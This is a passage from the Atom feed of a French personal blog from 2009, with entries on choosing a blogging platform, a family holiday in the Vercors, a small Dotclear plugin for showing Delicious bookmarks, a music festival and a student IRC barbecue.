&lt;p&gt;&lt;img alt="Thibault boit une p'tite bière bien méritée" src="/images/24h-2009-DSC_0180.jpg"&gt;&lt;/p&gt;</content></entry><entry><title>Rapide tour de plateformes de blogging</title><link href="http://blog.namok.be/2009-09-18-Rapide-tour-de-platteformes-de-blogging.html" rel="alternate"/><published>2009-08-19T00:00:00+02:00</published><updated>2009-08-19T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-08-19:/2009-09-18-Rapide-tour-de-platteformes-de-blogging.html</id><summary type="html">Rapide tour de plateformes de blogging</summary><content type="html">&lt;p&gt;&lt;img alt="Une pile de livres" src="/images/book-4474421855_4b20643258_b.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;À la demande générale (en fait c&amp;rsquo;est ma filleule qui voudrait avoir un blog), je fais un rapide tour des plateformes de blogging que je connais.&lt;/p&gt;
&lt;p&gt;Tout le monde sait ce qu&amp;rsquo;est un blog. En préalable, je précise que je parle ici d&amp;rsquo;un blog « de texte », un espace où le bloggeur s&amp;rsquo;exprime en écrivant et en postant des médias. Pas une sorte d&amp;rsquo;album photo envahi de pub et n&amp;rsquo;ayant comme seul texte que des &lt;em&gt;lol&lt;/em&gt; et autre &lt;em&gt;lachez vos commmz&lt;/em&gt; (exit Skyrock donc).&lt;/p&gt;
&lt;p&gt;Il faut savoir qu&amp;rsquo;il y a principalement deux manières d&amp;rsquo;avoir son blog. La première consiste à l&amp;rsquo;installer soit même chez un hébergeur. Ce n&amp;rsquo;est pas spécialement compliqué mais il faudra y consacrer plus de temps et il est nécessaire d&amp;rsquo;avoir un endroit ou héberger la chose. À l&amp;rsquo;heure actuelle, je ne pense pas qu&amp;rsquo;il subsiste des endroits sérieux (et sans pub agressive) où l&amp;rsquo;on peut héberger des pages et bénéficier d&amp;rsquo;une base de données gratuitement. La deuxième consiste à choisir un site qui propose (de manière gratuite ou payante) d&amp;rsquo;héberger le blog. Dans ce cas, rien à faire à part se créer un compte et bloguer.&lt;/p&gt;
&lt;h3&gt;Héberger soi-même son blog&lt;/h3&gt;
&lt;p&gt;Je ne m&amp;rsquo;étend pas, il existe pour moi deux solutions; &lt;a href="//dotclear.org"&gt;Dotclear&lt;/a&gt; et &lt;a href="//wordpress.org"&gt;Wordpress&lt;/a&gt;. L&amp;rsquo;une est française, l&amp;rsquo;autre pas et ces deux solutions fonctionnent à mon sens aussi bien l&amp;rsquo;une que l&amp;rsquo;autre. &lt;/p&gt;
&lt;p&gt;Perso, j&amp;rsquo;ai choisi Dotclear. C&amp;rsquo;est plus une raison historique qu&amp;rsquo;autre chose. Je pense que ces deux plateformes évoluent aussi bien l&amp;rsquo;une que l&amp;rsquo;autre. C&amp;rsquo;est simplement une question de choix.&lt;/p&gt;
&lt;h3&gt;Choisir un site de blogging&lt;/h3&gt;
&lt;p&gt;En voici une liste&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="//blogspot.com"&gt;Blogger&lt;/a&gt;, une des plus ancienne plateforme de blogging, très largement répandue et facile d&amp;rsquo;utilisation. Elle a été (récemment) rachetée par Google et il faut donc un compte gmail pour s&amp;rsquo;inscrire. C&amp;rsquo;est en général &lt;a href="http://deferadubai.blogspot.com/"&gt;celle-la que je conseille&lt;/a&gt; et que &lt;a href="http://pinkilla.blogspot.com/"&gt;j&amp;rsquo;ai testée&lt;/a&gt;. De plus, pas de publicité, si ce n&amp;rsquo;est la petite barre Blogger au-dessus. &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="over-blog.com"&gt;Over-blog&lt;/a&gt; est une plateforme largement répandue également que je n&amp;rsquo;ai pas testé mais qui semble faire &lt;a href="http://embruns-d-ecume.over-blog.com/"&gt;le bonheur de Marie-No&lt;/a&gt;. &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Live Journal, un produit que je ne connais pas mais que j&amp;rsquo;ai déjà croisé.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="//wordpress.com"&gt;Wordpress&lt;/a&gt;, que &lt;a href="https://pinkilla.wordpress.com"&gt;je teste à l&amp;rsquo;instant&lt;/a&gt; et qui me semble assez sympa. C&amp;rsquo;est également une grosse plateforme de blogging qui offre la possibilité de poster par email ce qui peut être pratique.&lt;/p&gt;
&lt;p&gt;Ne pas confondre le site &lt;code&gt;.com&lt;/code&gt; qui propose l&amp;rsquo;hébergement et le site &lt;code&gt;.org&lt;/code&gt; qui propose le code source de Wordpress pour une installation chez soi. &lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;À ce stade, je pencherai pour Blogger pour raisons historique et pour Wordpress pour le moteur, les thèmes, les widgets, etc. Je pense que c&amp;rsquo;est ce dernier le choix du jour.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Édité en 2013&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ajouterais aujourd&amp;rsquo;hui une plateforme à mi-chemin entre le blog et Twitter, c&amp;rsquo;est Tumblr. Tumblr est un peu le blog au 140 caractères ! Même s&amp;rsquo;il en permet plus, il encourage ses utilisateurs à se créer un réseau social d&amp;rsquo;autres blog Tumblr que l&amp;rsquo;on suit …&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez Flikr par &lt;a href="http://www.flickr.com/photos/shutterhacks/"&gt;shutterhacks&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Vacances en Vercors 2009</title><link href="http://blog.namok.be/2009-08-19-Vercors-2009.html" rel="alternate"/><published>2009-08-19T00:00:00+02:00</published><updated>2009-08-19T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-08-19:/2009-08-19-Vercors-2009.html</id><summary type="html">Vacances en Vercors 2009</summary><content type="html">&lt;p&gt;Cette année, les vacances se déroulent dans le Vercors, au camping de la Porte Saint-Martin (d&amp;rsquo;où je commence à écrire ce billet car c&amp;rsquo;est un camping avec Wifi et autorisation expresse de Chloé d&amp;rsquo;utiliser le portable… parfois). Et non, pas de saut à l&amp;rsquo;élastique.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Panorame du Vercors" src="/images/vercors-panorama.png" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Il parrait que nous avons une chance exceptionnelle avec le temps. Et c&amp;rsquo;est vrai que c&amp;rsquo;est assez chaud. À l&amp;rsquo;arrivée, les nuits étaient fraîches mais au fur et à mesure tout s&amp;rsquo;est réchauffé. Bref l&amp;rsquo;important c&amp;rsquo;est que c&amp;rsquo;est une superbe région. Il n&amp;rsquo;y a rien à y faire à part de la ballade (avec Emma et Sam ce n&amp;rsquo;est pas de la rando, c&amp;rsquo;est plutôt de la promenade au pas « corbillard »), du parapente ou de l&amp;rsquo;escalade. La région est pleine de superbes massifs. Je conseille rien que pour le coup d&amp;rsquo;œil.&lt;/p&gt;
&lt;p&gt;Je vous livre le programme de la semaine (principalement pour que l&amp;rsquo;on s&amp;rsquo;en rappelle);- &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;arrivée (Lundi 3),&lt;/li&gt;
&lt;li&gt;visite à Villard-de-Lans pour acheter un polar car c&amp;rsquo;est très frais particulièrement dès 18h30 lorsque le soleil se cache derrière les montagnes (Mardi 4),&lt;/li&gt;
&lt;li&gt;ballade aux « Ayards » comme mise en jambe pour les jours qui suivent (Mercredi 5),&lt;/li&gt;
&lt;li&gt;marché à La-Chapelle-en-Vercors avec en surprise un concert de rue de jazz (1 banjo, 1 tuba basse, une clarinette, un sax et un trombone) avec des gars qui « savent jouer » et ballade à Tourtre (Jeudi 6),&lt;/li&gt;
&lt;li&gt;ballade au « Col du Rousset » avec montée et descente en télésiège (Vendredi 7),&lt;/li&gt;
&lt;li&gt;repos et visite de la grotte de la Luire où nous ne voyons rien de bien spécial si ce n&amp;rsquo;est que c&amp;rsquo;est un écosite avec toilette sèche, prospectus sur papier non blanchi et recyclé, etc (Samedi 8),&lt;/li&gt;
&lt;li&gt;ballade à la plaine d&amp;rsquo;Herbouilly par le chemin du Pia, superbes décors (Dimanche 9),- &lt;/li&gt;
&lt;li&gt;ballade à la « porte du Diable » à Saint-Julien-en-Vercors avec une montée difficile (comprendre presque-escalade) et une des plus belle vue sur la vallée « d&amp;rsquo;en face » (Lundi 10),&lt;/li&gt;
&lt;li&gt;« Via corda de Saint-Martin » avec Manu pendant que les filles font une petite ballade à la porte du Diable (par un autre chemin) (Mardi 11), voir plus bas&lt;/li&gt;
&lt;li&gt;journée de visite du musée « au Grand Séchoir » à Vinay, ce sera la seule journée culturelle des vacances comme ça c&amp;rsquo;est fait (Mercredi 12),&lt;/li&gt;
&lt;li&gt;ballade à Chorange où l&amp;rsquo;on ne visite pas la grotte mais où l&amp;rsquo;on promène alentour simplement et où l&amp;rsquo;on mange la première glace (Jeudi 13),- &lt;/li&gt;
&lt;li&gt;ballade dans la forêt de Lente, dans le parc « Foretlente » histoire de voir des animaux. Rien de bien spécial mais pour les petits c&amp;rsquo;est bien (Vendredi 14),&lt;/li&gt;
&lt;li&gt;dernière (longue) ballade au « Pas de l&amp;rsquo;Allier », on félicite Emma qui a bien marché… et Margot et Marion qui ont tout marché, de 11h à 19h avec des pauses (Samedi 15),&lt;/li&gt;
&lt;li&gt;fête au camping donc on profite des activités et jeux proposés par Michèle et Didier… et je gagne un baptême en parapente (Dimanche 16), voir plus bas&lt;/li&gt;
&lt;li&gt;comme promis, c&amp;rsquo;est le repos du dernier jour avec piscine (comme presque tous les jours), et pizzas le soir… et rangement. Et j&amp;rsquo;ai profité de la matinée pour faire du canyoning (Lundi 17), voir plus bas&lt;/li&gt;
&lt;li&gt;… THE END&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="" src="/images/vercors-DSC02053.jpg" width="24%"&gt;
&lt;img alt="" src="/images/vercors-DSC02154.jpg" width="24%"&gt;
&lt;img alt="" src="/images/vercors-DSC02355.jpg" width="24%"&gt;
&lt;img alt="" src="/images/vercors-DSC02434.jpg" width="24%"&gt;&lt;/p&gt;
&lt;h3&gt;La Via Corda de Saint-Martin&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Ouverte fin août 2004, la via corda est un parcours en falaise où l&amp;rsquo;on progresse en utilisant les techniques de l&amp;rsquo;alpinisme. A la différence d&amp;rsquo;une Via Ferrata où la progression se fait longé sur un câble du début jusqu&amp;rsquo;à la fin du parcours, la VIA CORDA comporte des points d&amp;rsquo;assurance réguliers tous les 2-3 m environ, ce qui implique pour les participants (au minimum 2 pers.) d&amp;rsquo;être encordés. Cette activité se pratique à la demi-journée, comportant 1h30 environ de marches d&amp;rsquo;approche et de retour, et 2 à 3h pour le parcours de la Via.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Ce parcours est situé sur la barre rocheuse de Roche Rousse qui domine le village, au nord du rocher de la Vierge du Vercors, entre 1180m (altitude de départ) et 1380m (altitude d&amp;rsquo;arrivée). Vous accédez au départ après une marche d&amp;rsquo;environ 1/2h sur 270m de dénivelé, à partir de la RD221 en direction de l&amp;rsquo;Espace Nordique d&amp;rsquo;Herbouilly. Cette activité s&amp;rsquo;adresse à un public averti, ayant la connaissance des techniques de base d&amp;rsquo;assurance de l&amp;rsquo;escalade, ou encadré par des professionnels (liste disponible auprès de l&amp;rsquo;Office du Tourisme intercommunal 04 75 48 22 54).&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Extrait de vercors-net.com&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Comme nous étions — par hasard — en vacances avec Manu et Virgi, Manu m&amp;rsquo;a proposé de faire cette fameuse &lt;em&gt;Via Corda de Saint-Martin&lt;/em&gt;. Ça dure de 2h à 4h mais nous avons mis 4h30 pour parvenir au sommet. C&amp;rsquo;était vraiment chouette (&lt;em&gt;c&amp;rsquo;est pas un truc de tapettes&lt;/em&gt;). La voie est très bien équipée. Il faut cependant savoir que:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une des vires implique que l&amp;rsquo;on ne s&amp;rsquo;entend plus d&amp;rsquo;un côté à l&amp;rsquo;autre… et c&amp;rsquo;est gênant puisque qu&amp;rsquo;il n&amp;rsquo;y a pas de relais prévu juste après (Nous avons fait les bandits et improvisé un relais sur les échelons),&lt;/li&gt;
&lt;li&gt;il faut impérativement progresser en « corde tendue » à certains endroits (c&amp;rsquo;est précisé mais nous n&amp;rsquo;avions pas percuté)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Baptême en parapente&lt;/h3&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas vraiment un baptême puisque j&amp;rsquo;en avais fait en Suisse lors d&amp;rsquo;une intendance (en ?) mais c&amp;rsquo;est toujours aussi chouette. C&amp;rsquo;est donc « Ti Pierre » qui se charge de m&amp;rsquo;embarquer pour un p&amp;rsquo;tit vol peinard et rapide avec un passage au-dessus du camping. C&amp;rsquo;est sympa.&lt;/p&gt;
&lt;h3&gt;Le canyoning sur le Vercoud&lt;/h3&gt;
&lt;p&gt;Or donc j&amp;rsquo;arrive pour une petite avant-midi de canyoning sur le Vercoud organisée par Rêve de cimes. Nous sommes 4 (3 filles d&amp;rsquo;une vingtaine d&amp;rsquo;années et moi) et Delphine notre responsable.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est assez chouette. Il ne fait pas froid avec les combis, l&amp;rsquo;eau est très claire et les paysages très très sympathiques. Nous avons passé un très chouette moment, agréable, en sécurité sans pour autant faire un « p&amp;rsquo;tit truc de touristes ». Le canyoning, c&amp;rsquo;est à refaire.&lt;/p&gt;</content></entry><entry><title>Plugin Delicious pour Dotclear 2</title><link href="http://blog.namok.be/2009-07-27-Plugin-Delicious-pour-Dotclear-2.html" rel="alternate"/><published>2009-07-27T00:00:00+02:00</published><updated>2009-07-27T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-07-27:/2009-07-27-Plugin-Delicious-pour-Dotclear-2.html</id><summary type="html">Plugin Delicious pour Dotclear 2</summary><content type="html">&lt;p&gt;&lt;img alt="Macarons fait par Cath" src="/images/macaron-cath.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Pour commencer, deux constats;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;j&amp;rsquo;aime lister certains liens (&lt;em&gt;bookmarks&lt;/em&gt;) dans mon blog et&lt;/li&gt;
&lt;li&gt;j&amp;rsquo;aime utiliser Delicious pour mes &lt;em&gt;bookmarks&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;De là, comment faire pour intégrer ça le mieux possible dans le blog. J&amp;rsquo;ai essayé diverses méthodes et je me penche sur l&amp;rsquo;écriture d&amp;rsquo;un plugin pour Dotclear.&lt;/p&gt;
&lt;p&gt;Dans la version précédente, j&amp;rsquo;utilisais un javascript fourni par delicious &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; qui m&amp;rsquo;affichait une série de liens bien gentiment. Ça fonctionne bien et j&amp;rsquo;aurais pu continuer comme ça.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;text/javascript&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://del.icio.us/feeds/js/pit/blog?count=100;title=Liens&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Delicious, fournit également une liste de liens par une simple requête &lt;code&gt;http&lt;/code&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Ceci a l&amp;rsquo;avantage que l&amp;rsquo;on pourra récupérer cette liste et la mettre en forme avec une feuille de style qui va bien &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Bref, je me dis que ceci pourrait faire l&amp;rsquo;objet d&amp;rsquo;un plugin et je me plonge dans la doc de Dotclear au sujet des plugins pour essayer de sortir quelque chose.&lt;/p&gt;
&lt;p&gt;Il en sort une première ébauche de plugin téléchargeable en version &lt;em&gt;pré alpha&lt;/em&gt; delicious-0.0.1.zip (lien mort).&lt;/p&gt;
&lt;p&gt;La difficulté réside dans la compréhension de Dotclear que je suis en train de découvrir. À ce stade pourtant, le code du plugin se résume à quelques lignes emballées à la sauce « plugin de dotclear ».&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;const &lt;/span&gt;
&lt;span class="x"&gt;    URL = &amp;quot;http://feeds.delicious.com/html/USER/TAG?&amp;quot; . &lt;/span&gt;
&lt;span class="x"&gt;        &amp;quot;count=COUNT&amp;amp;tags=no&amp;amp;rssbutton=no&amp;quot;;&lt;/span&gt;

&lt;span class="x"&gt;// ...&lt;/span&gt;
&lt;span class="x"&gt;$url = // Je remplace USER, TAG et COUNT&lt;/span&gt;
&lt;span class="x"&gt;HttpClient::quickGet($url);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;L&amp;rsquo;idée d&amp;rsquo;un plugin (une extension) est de pouvoir écrire quelque chose du style &lt;code&gt;tpl:Delicious&lt;/code&gt; dans un fichier template de dotclear. Avec ce code, c&amp;rsquo;est chose faite avec en plus une page d&amp;rsquo;administration permettant de choisir des valeurs par défaut pour &lt;code&gt;USER&lt;/code&gt;, &lt;code&gt;TAG&lt;/code&gt; et &lt;code&gt;COUNT&lt;/code&gt;. Ces trois valeurs signifient respectivement:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;le nom d&amp;rsquo;utilisateur Delicious,&lt;/li&gt;
&lt;li&gt;un des tags de l&amp;rsquo;utilisateur et&lt;/li&gt;
&lt;li&gt;le nombre de résultats maximum attendu.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On utilise donc le plugin en écrivant dans un fichier template&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// Si l&amp;#39;on veut les valeurs par défaut &lt;/span&gt;
&lt;span class="x"&gt;// (ou celles sauvegardées dans l&amp;#39;interface d&amp;#39;administration&lt;/span&gt;
&lt;span class="x"&gt;{{tpl:Delicious}}  &lt;/span&gt;

&lt;span class="x"&gt;// Si l&amp;#39;on veut préciser l&amp;#39;un ou l&amp;#39;autre (ou tous) les paramètres&lt;/span&gt;
&lt;span class="x"&gt;{{tpl:Delicious user=&amp;quot;pit&amp;quot; tag=&amp;quot;blog&amp;quot; count=&amp;quot;100&amp;quot;}}&lt;/span&gt;
&lt;span class="x"&gt;{{tpl:Delicious tag=&amp;quot;dotclear&amp;quot; count=&amp;quot;100&amp;quot;}}&lt;/span&gt;
&lt;span class="x"&gt;{{tpl:Delicious tag=&amp;quot;geek&amp;quot; }}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vous pouvez ajouter ça dans votre thème en éditant un des fichiers (&lt;code&gt;home.html&lt;/code&gt; ou &lt;code&gt;post.html&lt;/code&gt; par exemple) templates suivant vos envies &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Je voudrais pouvoir créer une page &lt;code&gt;liens.html&lt;/code&gt; qui contiendra toute une série de liens et qui sera facile à mettre à jour. On &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;5&lt;/a&gt;&lt;/sup&gt; m&amp;rsquo;a soufflé dans l&amp;rsquo;oreillette que je pouvais utiliser le plugin &lt;em&gt;related&lt;/em&gt; de Pep et/ou &lt;a href="http://fr.dotclear.org/documentation/2.0/resources/plugins/public-page"&gt;ajouter moi-même une page publique&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dans un premier temps, utilisons le plugin de Pep pour tester la chose ailleurs que dans une des pages du thème.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;installe le plugin, j&amp;rsquo;essaie de comprendre, je crée une page avec extension &lt;code&gt;html&lt;/code&gt; sur mon disque (un peu comme celle disponible dans l&amp;rsquo;archive sous le nom de &lt;code&gt;liens.html&lt;/code&gt;) et j&amp;rsquo;ajoute une &lt;em&gt;Nouvelle page incluse&lt;/em&gt; via le lien &lt;em&gt;Pages connexes&lt;/em&gt;. Cet ajout me demandera de choisir un fichier et c&amp;rsquo;est donc bien &lt;code&gt;liens.html&lt;/code&gt; que je choisis. Ensuite un appel à &lt;code&gt;http://example.org/blog/index.php?static/nomdelapagerelated&lt;/code&gt; me montre le truc.&lt;/p&gt;
&lt;p&gt;Bonne nuit les gens, n&amp;rsquo;hésitez pas à essayer et faites moi des retours, je verrai si je suis capable d&amp;rsquo;y donner suite.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par Cath qui aime bien cuisiner.&lt;/em&gt; &lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Ce script et redirige vers la page d&amp;rsquo;aide&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Ça aussi, c&amp;rsquo;est mort&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;D&amp;rsquo;accord, je pouvais déjà le faire avec le javascript mais en plus je peux choisir le nom de mon tag.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas un Widget&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Ce doit être des gourous de Dotclear; annso et Mirovinben&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Lasemo, festival durable.</title><link href="http://blog.namok.be/2009-07-27-Lasemo-festival-durable.html" rel="alternate"/><published>2009-07-27T00:00:00+02:00</published><updated>2009-07-27T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-07-27:/2009-07-27-Lasemo-festival-durable.html</id><summary type="html">Lasemo, festival durable.</summary><content type="html">&lt;p&gt;&lt;img alt="La scène Lasemo" src="/images/lasemo-DSC01869.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ça y est, j&amp;rsquo;ai fait mon premier festival !&lt;/p&gt;
&lt;p&gt;Je dis premier parce que Ogy Plage Festival, ça ne compte pas (même si des groupes aussi prestigieux que (dans l&amp;rsquo;ordre) &lt;a href="//cagrattemapuce.be"&gt;Ça Gratte Ma Puce&lt;/a&gt;, &lt;a href="//awissa.be"&gt;Awissa&lt;/a&gt; et &lt;a href="//poulycroc.com"&gt;Poulycroc&lt;/a&gt; s&amp;rsquo;y produisent.). Et on a choisi celui qui était le plus loin de chez nous. Nous sommes partis à Hotton pour le festival &lt;a href="//lasemo.be"&gt;Lasemo&lt;/a&gt;, festival durable, je cite:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;En venant tous à LaSemo dans un esprit de rencontre, de bonne humeur et de fête, vous agissez pour rendre notre monde un peu plus beau !&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;L&amp;rsquo;affiche du Dimanche (on commence doucement par un jour) était sympa, nous voulions voir, Zita Swoon et les Orgres. Nous avons vu, bu et c&amp;rsquo;était bien. On a bien aimé aussi Debout sur le zinc.&lt;/p&gt;
&lt;p&gt;Puis surprise (et pas surprise) nous avons rencontré pas mal de bruxellois students;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Yoda à Lasemo" src="/images/lasemo-DSC01881.jpg"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Yoda et Xen-Lo étaient prévus et le rendez-vous était donné,&lt;/li&gt;
&lt;li&gt;Legeneys s&amp;rsquo;occupait du bar et de la petite scène,&lt;/li&gt;
&lt;li&gt;Iorex du stand jeux,&lt;/li&gt;
&lt;li&gt;Chris qui m&amp;rsquo;a proposé de tirer un coup sur son mégot et de régler dans la foulée son examen de passage… mais s&amp;rsquo;en souvient-il ?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… et une représentation d&amp;rsquo;Awissa mais pas d’autocollant.&lt;/p&gt;
&lt;p&gt;&lt;img alt="La famille à Lasemo" src="/images/lasemo-DSC01886.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Un chouette moment en famille — je dis en famille — car, même pas peur, toute la famille était là;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sam dans l&amp;rsquo;écharpe ou jouant par terre a manger de la boue,&lt;/li&gt;
&lt;li&gt;Emma, très sage car sa marraine était avec nous qu&amp;rsquo;elle trouvait ça très chouette,&lt;/li&gt;
&lt;li&gt;Margot impossible à perdre et contente d&amp;rsquo;écouter la musique (et jouer avec les jeux en bois),&lt;/li&gt;
&lt;li&gt;Marion qui s&amp;rsquo;est bien sur fait une amie dans l&amp;rsquo;heure et que l&amp;rsquo;on voyait pas intervalle, et&lt;/li&gt;
&lt;li&gt;Chloé et moi qui avons bien géré je pense.&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Barbecue IRC</title><link href="http://blog.namok.be/2009-07-27-Barbecue-IRC.html" rel="alternate"/><published>2009-07-27T00:00:00+02:00</published><updated>2009-07-27T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2009-07-27:/2009-07-27-Barbecue-IRC.html</id><summary type="html">Barbecue IRC</summary><content type="html">&lt;p&gt;&lt;img alt="À table au bbq irc" src="/images/bbqirc.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;évènement avait été annoncé sur IRC et relayé de manière fort obscure sur le forum des étudiants &lt;em&gt;aka&lt;/em&gt; &lt;strong&gt;fora&lt;/strong&gt;. Mais il a eu lieu et ceux qui étaient présents… étaient présents.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est donc le &lt;strong&gt;deuxième BBQ IRC&lt;/strong&gt; qui se déroulait à la maison le 24 juin dernier (on pourrait dire que j&amp;rsquo;ai mis le temps avant d&amp;rsquo;en parler). Cette deuxième édition était aussi sympa que la première. La condition de participation était d&amp;rsquo;avoir lu l&amp;rsquo;invitation dans le &lt;em&gt;topic&lt;/em&gt; du &lt;em&gt;channel&lt;/em&gt; &lt;code&gt;#esi&lt;/code&gt; et ce sont donc 4 étudiants qui ont débarqués; deux anciens, un sortant et un « terminant » (on les voit très bien sur la photo).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Trusty&lt;/em&gt; nous a inventé de faire des pop corn en fin de soirée et ça doit être les seules photos qui ont été prises &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Un chouette moment.&lt;br&gt;
Pour la prochaine fois, les infos sont toujours au même endroit.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je ne sais plus qui me disait que certains passent plus de temps à prendre des photos qu&amp;rsquo;à vivre le moment présent. Nous on n&amp;rsquo;a pas pris beaucoup de photos.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
